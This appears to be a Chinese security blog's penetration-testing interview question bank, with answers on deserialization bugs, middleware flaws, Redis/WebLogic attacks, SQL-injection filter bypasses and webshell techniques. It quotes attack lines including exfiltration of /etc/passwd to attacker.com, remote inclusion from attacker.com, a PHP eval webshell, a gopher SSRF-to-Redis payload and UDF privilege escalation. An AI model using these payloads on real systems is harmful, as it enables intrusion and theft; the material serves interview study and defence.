网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2025年渗透测试面试题总结-拷打题库33
有没有了解过shrio反序列化? PHP反序列化有了解吗? fastjson漏洞利用原理? PHP代码执行的危险函数? PHP命令执行函数? php伪协议input与post数据包发送有什么区别? 常见的中间件漏洞知道哪些 Redis 未授权访问漏洞 JBOSS 未授权访问漏洞 weblogic权限绕过? 逻辑漏洞遇到过哪些 给你登录框有没有什么思路? CDN和DNS区别? CDN绕过思路? 命令无回显如何解决? 在有shell的情况下,如何使用xss实现对目标站的长久控制? 文件包含Getshell思路? httponly绕过? sqlmap中--os-shell的利用条件? sqlmap中--os-shell的原理? sqlmap --os-shell原理详细分析 Linux日志目录? php的%00截断的原理是什么? sleep被禁用后还能怎么进行延时sql注入 phpmyadmin写sehll的方法? ssrf怎么用redis写shell? udf提取原理是什么 报错注入的函数有哪些? SQL注入单引号被过滤怎么办? SQL注入逗号被过滤了怎么办?
1. Shiro反序列化漏洞
- 原理:Apache Shiro框架在反序列化Cookie时未严格验证数据来源,攻击者可通过构造恶意RememberMe Cookie触发反序列化漏洞(如CVE-2016-4437),利用AES加密密钥硬编码缺陷执行任意代码。
- 利用条件:
- 目标使用Shiro且未修改默认密钥。
- 存在可利用的反序列化链(如Commons-Collections库)。
- 防御:
- 升级Shiro到1.2.5+版本并自定义AES密钥。
- 禁用RememberMe功能或限制Cookie作用域。
2. PHP反序列化漏洞
- 触发点:
unserialize()
函数处理用户可控数据时,若类中存在危险魔术方法(如__destruct()
、__wakeup()
),可导致对象注入。- 典型场景:
- 框架(如Laravel、ThinkPHP)的缓存、Session反序列化。
- POP链构造:通过链式调用多个类的魔术方法实现RCE。
- 防御:
- 使用
json_encode()
替代序列化。- 限制反序列化数据来源,校验数据签名。
3. FastJSON漏洞利用原理
- 核心问题:
autoType
特性允许反序列化任意类(CVE-2017-18349)。- 攻击方式:
- 构造恶意JSON触发JNDI注入(如
@type
指定com.sun.rowset.JdbcRowSetImpl
,利用LDAP/RMI协议加载远程类)。- 低版本绕过:通过特殊字符(如
L
、;
)闭合类名。- 修复:
- 升级到FastJSON 1.2.68+并关闭
autoType
。- 使用安全模式(
SafeMode
)限制反序列化类。
4. PHP代码执行的危险函数
- 高危函数:
eval()
:直接执行字符串代码。assert()
:在PHP 7.0前可执行代码。preg_replace()
:使用/e
修饰符时执行替换内容。- 防御:
- 禁用危险函数(
disable_functions
)。- 使用
filter_var()
或正则表达式过滤输入。
5. PHP命令执行函数
- 函数列表:
system()
:直接输出命令结果。exec()
:返回最后一行输出。shell_exec()
:通过反引号(`
)执行命令。- 绕过技巧:
- 拼接字符:
sy
.'stem'`。- 环境变量:
${PATH:0:1}
代替/
。
6. php://input与POST数据包区别
- php://input:
- 读取原始HTTP请求体(需
allow_url_include=On
)。- 可用于文件包含漏洞中传递代码。
- POST数据:
- 数据存储在
$_POST
超全局变量中。- 适用于表单提交,无法直接传递二进制数据。
7. 常见中间件漏洞
- IIS:
- 短文件名泄露、解析漏洞(如
*.asp;.jpg
)。- Apache:
- 换行解析漏洞(CVE-2017-15715)。
.htaccess
配置错误导致目录遍历。- Nginx:
- 目录穿越(
/%2f../
)、错误配置反向代理。
8. Redis未授权访问漏洞
- 利用方式:
- 写入SSH公钥:
config set dir /root/.ssh/
+set x "\n\nssh-rsa ..."
。- Web目录写Shell:通过
set
和save
命令生成.php
文件。- 防御:
- 绑定IP限制访问(
bind 127.0.0.1
)。- 启用Redis密码认证。
9. WebLogic权限绕过
- CVE-2020-14882:
- 构造URL绕过控制台权限验证:
/console/css/%252e%252e%252fconsole.portal
。- 结合反序列化漏洞实现RCE。
- 修复:升级补丁,限制访问路径。
10. 逻辑漏洞类型
- 典型场景:
- 越权漏洞:水平越权(修改用户ID)、垂直越权(普通用户访问管理员接口)。
- 支付漏洞:金额篡改(前端校验不严)、负数购买。
- 验证码绕过:重复使用、时间窗口爆破。
11. 登录框渗透思路
- 测试路径:
- 弱口令爆破(Admin/Admin123)。
- SQL注入:
' or 1=1-- -
。- 密码重置漏洞:短信验证码回显、邮箱劫持。
- OAuth/SSO劫持:伪造回调URL。
12. CDN与DNS区别
- CDN:
- 内容分发网络,缓存静态资源加速访问。
- 隐藏真实IP,提供抗DDoS能力。
- DNS:
- 域名解析服务,将域名转换为IP地址。
- 无缓存加速功能,仅负责解析。
13. CDN绕过思路
- 方法:
- 查询历史DNS记录(如SecurityTrails)。
- 子域名扫描:部分子域名可能未接入CDN。
- 邮件服务器溯源:查看邮件头中的原始IP。
- 利用SSL证书信息匹配真实IP。
14. 命令无回显解决方案
- 外带技术:
- DNS外带:
ping $(whoami).attacker.com
。- HTTP请求:
curl http://attacker.com/$(cat /etc/passwd|base64)
。- 延时盲注:通过
time
命令判断执行结果。
15. XSS持久化控制
- 方法:
- 写入恶意JS到公共页面(如评论区)。
- 劫持浏览器本地存储(LocalStorage)。
- 利用DOM Clobbering污染全局变量。
16. 文件包含Getshell
- 场景:
- 本地包含(LFI):上传图片马后包含解析。
- 远程包含(RFI):
include http://attacker.com/shell.txt
。- 伪协议利用:
php://filter/convert.base64-encode/resource=index.php
。
17. HttpOnly绕过
- 有限方法:
- XST(跨站追踪)攻击:结合TRACE方法获取Cookie。
- 浏览器漏洞:利用CVE漏洞读取Cookie。
- 会话固定攻击:强制用户使用已知Session ID。
18. sqlmap --os-shell利用条件
- 前提:
- 数据库具有写权限(如
secure_file_priv
为空)。- 已知Web目录绝对路径。
- 支持堆叠查询(如MSSQL、PostgreSQL)。
19. sqlmap --os-shell原理
- 步骤:
- 上传代理脚本(如
/tmp/udf.php
)。- 通过数据库函数(如
sys_exec()
)执行系统命令。- 将命令结果写入Web目录文件,通过HTTP访问获取回显。
20. Linux日志目录
- 关键路径:
/var/log/auth.log
:SSH登录日志。/var/log/apache2/access.log
:Apache访问记录。/var/log/syslog
:系统事件日志。
21. PHP %00截断原理
- 场景:PHP 5.3.4前版本中,
%00
会被解析为字符串终止符,用于绕过文件后缀限制(如shell.php%00.jpg
)。- 修复:升级PHP版本,禁用
magic_quotes_gpc
。
22. Sleep禁用后的SQL延时注入
- 替代方案:
- 利用
heavy query
:通过复杂查询消耗时间(如笛卡尔积)。- 条件判断+错误注入:
if(1=1,benchmark(1000000,md5('a')),0)
。- 外带数据:结合DNS或HTTP请求。
23. phpMyAdmin写Shell方法
- 步骤:
- 执行SQL:
SELECT '<?php @eval($_POST[1]);?>' INTO OUTFILE '/var/www/html/shell.php'
。- 需要
FILE
权限和Web目录可写。- 利用日志文件重定向(需
secure_file_priv
权限)。
24. SSRF+Redis写Shell
- 流程:
- 构造Gopher协议Payload:
gopher://127.0.0.1:6379/_*3\r\n$3\r\nSET\r\n$1\r\nx\r\n$10\r\n<?php...?>
。- 发送Redis命令设置
dir
和dbfilename
为Web路径。- 触发
SAVE
命令写入Webshell。
25. UDF提权原理
- 步骤:
- 编译恶意UDF库(如
lib_mysqludf_sys.so
)。- 通过SQL写入插件目录:
SELECT binary 0x... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'
。- 创建函数:
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.so'
。
26. 报错注入函数
- 常用函数:
extractvalue()
:XML解析错误泄露数据。updatexml()
:与extractvalue
类似。exp()
:数值过大导致错误(需MySQL版本<5.5.53)。
27. 单引号被过滤的SQL注入
- 绕过方法:
- 宽字节注入:利用GBK编码(如
%bf%27
)。- 数字型注入:直接操作数字参数(如
id=1+1
)。- 转义符绕过:
\'
被转义为\\'
时构造\\ and 1=1-- -
。
28. 逗号被过滤的SQL注入
- 替代方案:
- 使用
JOIN
代替UNION SELECT
。SUBSTR
替代语法:substr(database() from 1 for 1)
。- 分页绕过:
limit 1 offset 1
代替limit 1,1
。